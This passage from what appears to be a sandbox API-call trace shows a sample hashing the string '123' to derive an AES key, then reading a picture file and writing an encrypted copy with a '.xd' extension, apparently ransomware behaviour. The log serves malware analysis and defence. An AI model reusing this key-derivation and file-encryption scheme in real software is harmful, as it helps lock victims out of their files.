(hInternet=0xcc0008) returned 0 [0060.398] CloseHandle (hObject=0x0) returned 0 [0060.399] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.399] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0060.399] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.399] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.399] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.399] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.399] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.399] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.399] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.399] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.400] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.400] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.400] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.400] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.400] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.400] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.400] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.400] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.401] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.401] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.401] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aacd0) returned 1 [0060.402] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.402] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.402] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.402] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.402] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.402] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.402] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.402] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.402] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.402] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.403] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.403] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.403] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.403] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.403] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.403] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.404] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.404] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.404] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.404] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.404] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.404] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.404] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.404] CryptCreateHash (in: hProv=0x17aacd0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.405] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.405] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.405] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.405] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.406] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.406] CryptHashData (hHash=0x164c930, pbData=0x16294f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.406] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.406] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.406] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.406] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.407] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217f8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.407] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.407] CryptDeriveKey (in: hProv=0x17aacd0, Algid=0x6610, hBaseData=0x164c930, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0060.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.407] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.407] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.408] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.408] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.408] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.408] CryptDestroyHash (hHash=0x164c930) returned 1 [0060.408] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.408] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\rmzfcrpf\\ejy2kxt0cru1m9edo.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.409] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.409] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.409] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\rmzfcrpf")) returned 0x10 [0060.409] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\RMZFcrpF\\eJY2Kxt0cru1M9edo.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\rmzfcrpf\\ejy2kxt0cru1m9edo.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.412] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.412] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0060.413] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5ddc, lpOverlapped=0x0) returned 1 [0060.414] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.418] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.418] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.418] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.418] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.420] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.420] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.420] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.420] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.420] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.420] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.420] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.421] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.421] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.421] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629450, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629450*=0x6610, pdwDataLen=0x130e0e8*=0x4) 